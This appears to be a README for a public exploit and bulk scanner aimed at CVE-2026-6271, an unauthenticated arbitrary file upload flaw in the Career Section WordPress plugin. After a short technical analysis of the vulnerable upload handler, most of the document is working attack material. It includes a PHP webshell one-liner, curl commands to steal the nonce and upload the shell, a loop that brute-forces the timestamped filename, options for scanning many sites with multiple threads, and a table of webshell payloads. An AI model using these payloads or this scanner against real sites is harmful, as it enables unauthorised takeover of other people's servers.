CVE-2026-6271 — Career Section WordPress Plugin RCE Scanner

Plugin: Career Section (career-section) CVE ID: CVE-2026-6271 CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Unauthenticated Arbitrary File Upload → Remote Code Execution Affected Version: <= 1.7 Patched Version: 1.8 Disclosure Date: May 13, 2026 Researcher: Paolo Tresso — Wordfence

📌 About the Vulnerability

The Career Section plugin allows site owners to publish job listings and collect applications. Each job listing page includes an "Apply Now" form. This form contains a CV file upload field.

In versions 1.7 and earlier the upload handler accepts any file type — including .php. Since the form is public and the CSRF token is embedded in the page HTML, this flaw can be exploited without requiring any account or privileges.

⚙️ Technical Analysis

Why Nonce Protection Doesn't Help

WordPress nonces are CSRF tokens, not authentication tokens. The nonce value is embedded in the page HTML for every visitor:

<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

Any unauthenticated visitor can obtain a valid nonce and pass the validation check.

Missing File Type Validation

// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // NO extension check — anything including .php is accepted
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name() only cleans special characters, it does not block dangerous extensions.

Upload Directory

wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

This directory has no .htaccess file to prevent PHP execution.

🔴 Why Critical

Reason	Description
No authentication required	Nonce is embedded in public HTML
No file type restriction	`.php`, `.php5`, `.phtml` accepted
No `.htaccess` protection	PHP executes in upload directory
Predictable filename	`time()_filename` → timestamp brute-force

🧪 Proof of Concept (Manual)

⚠️ Disclaimer: This PoC is for educational purposes only. Only test on systems you own or have explicit written permission to test.

Prerequisites:

Career Section plugin installed and active (version ≤ 1.7)
At least one job listing published

Step 1 — Create a PHP Webshell

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Step 2 — Extract the Nonce

TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

Structure to search for in page source:

<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

Step 3 — Upload Webshell

TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

Step 4 — Trigger RCE

Filename format is <timestamp>_shell.php. Try timestamps around $TS:

UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell active: $URL"
    echo "RCE output    : $RESULT"
    break
  fi
done

Expected output:

Webshell active: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE output    : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Automated Scanner

Installation

git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 Usage

Single Target

python career_section_rce.py -u http://target.com

Direct Job URL

python career_section_rce.py -u http://target.com \
  --job-url http://target.com/careers/engineer/

With Shell Verification

python career_section_rce.py -u http://target.com \
  --verify-cmd "whoami"

Bulk Scan

python career_section_rce.py -l targets.txt -t 20 -o results.txt

Increase Timestamp Window (Slow Servers)

python career_section_rce.py -u http://target.com --ts-window 10

Full Shell + Proxy (Burp Suite)

python career_section_rce.py -u http://target.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ Parameters

Parameter	Short	Description	Default
`--url`	`-u`	Single target URL	—
`--list`	`-l`	Target list file	—
`--threads`	`-t`	Number of threads	`10`
`--output`	`-o`	Output file	`rce_confirmed.txt`
`--job-url`	—	Direct job listing URL	—
`--shell-name`	—	Uploaded file name	`shell.php`
`--shell-type`	—	Shell type	`system`
`--verify-cmd`	—	RCE verification command	`id`
`--ts-window`	—	Timestamp brute-force window (±sec)	`5`
`--proxy`	—	Proxy URL	—
`--timeout`	—	Request timeout (sec)	`10`

💀 Shell Types

Type	Payload	Description
`system`	`<?php system($_GET["cmd"]); ?>`	Basic system command
`passthru`	`<?php passthru($_GET["cmd"]); ?>`	Raw output
`exec`	`<?php echo exec($_GET["cmd"]); ?>`	Silent execution
`assert`	`<?php assert($_POST["cmd"]); ?>`	POST eval
`b64`	`<?php eval(base64_decode($_POST["cmd"])); ?>`	Base64 obfuscation
`full`	shell_exec + system + exec fallback	Full-featured shell

📂 Shell Upload Location

WordPress Root/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell here

Direct access:

curl "http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 Scanner Output Statuses

Status	Description
`★ RCE OK`	Shell uploaded + command executed successfully
`★ SHELL ALIVE`	Shell accessible, returned different response
`~ EXEC_DISABLED`	Shell exists but exec() disabled on server
`? UPLOADED`	Uploaded but timestamp not found
`- BLOCKED`	File type blocked (patched version)
`~ NO_NONCE`	`csaf_form_nonce` not found
`~ TIMEOUT`	Connection timeout
`~ UNREACH`	Target unreachable

🖥️ Example Scanner Output

[*] 3 targets | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://target1.com
  Nonce     : a1b2c3d4e5  (source: http://target1.com/careers/engineer/)
  Shell URL : http://target1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://target2.com  (file type blocked)
[~ NO_NONCE  ] http://target3.com  (csaf_form_nonce not found)

CVE-2026-6271

Most Popular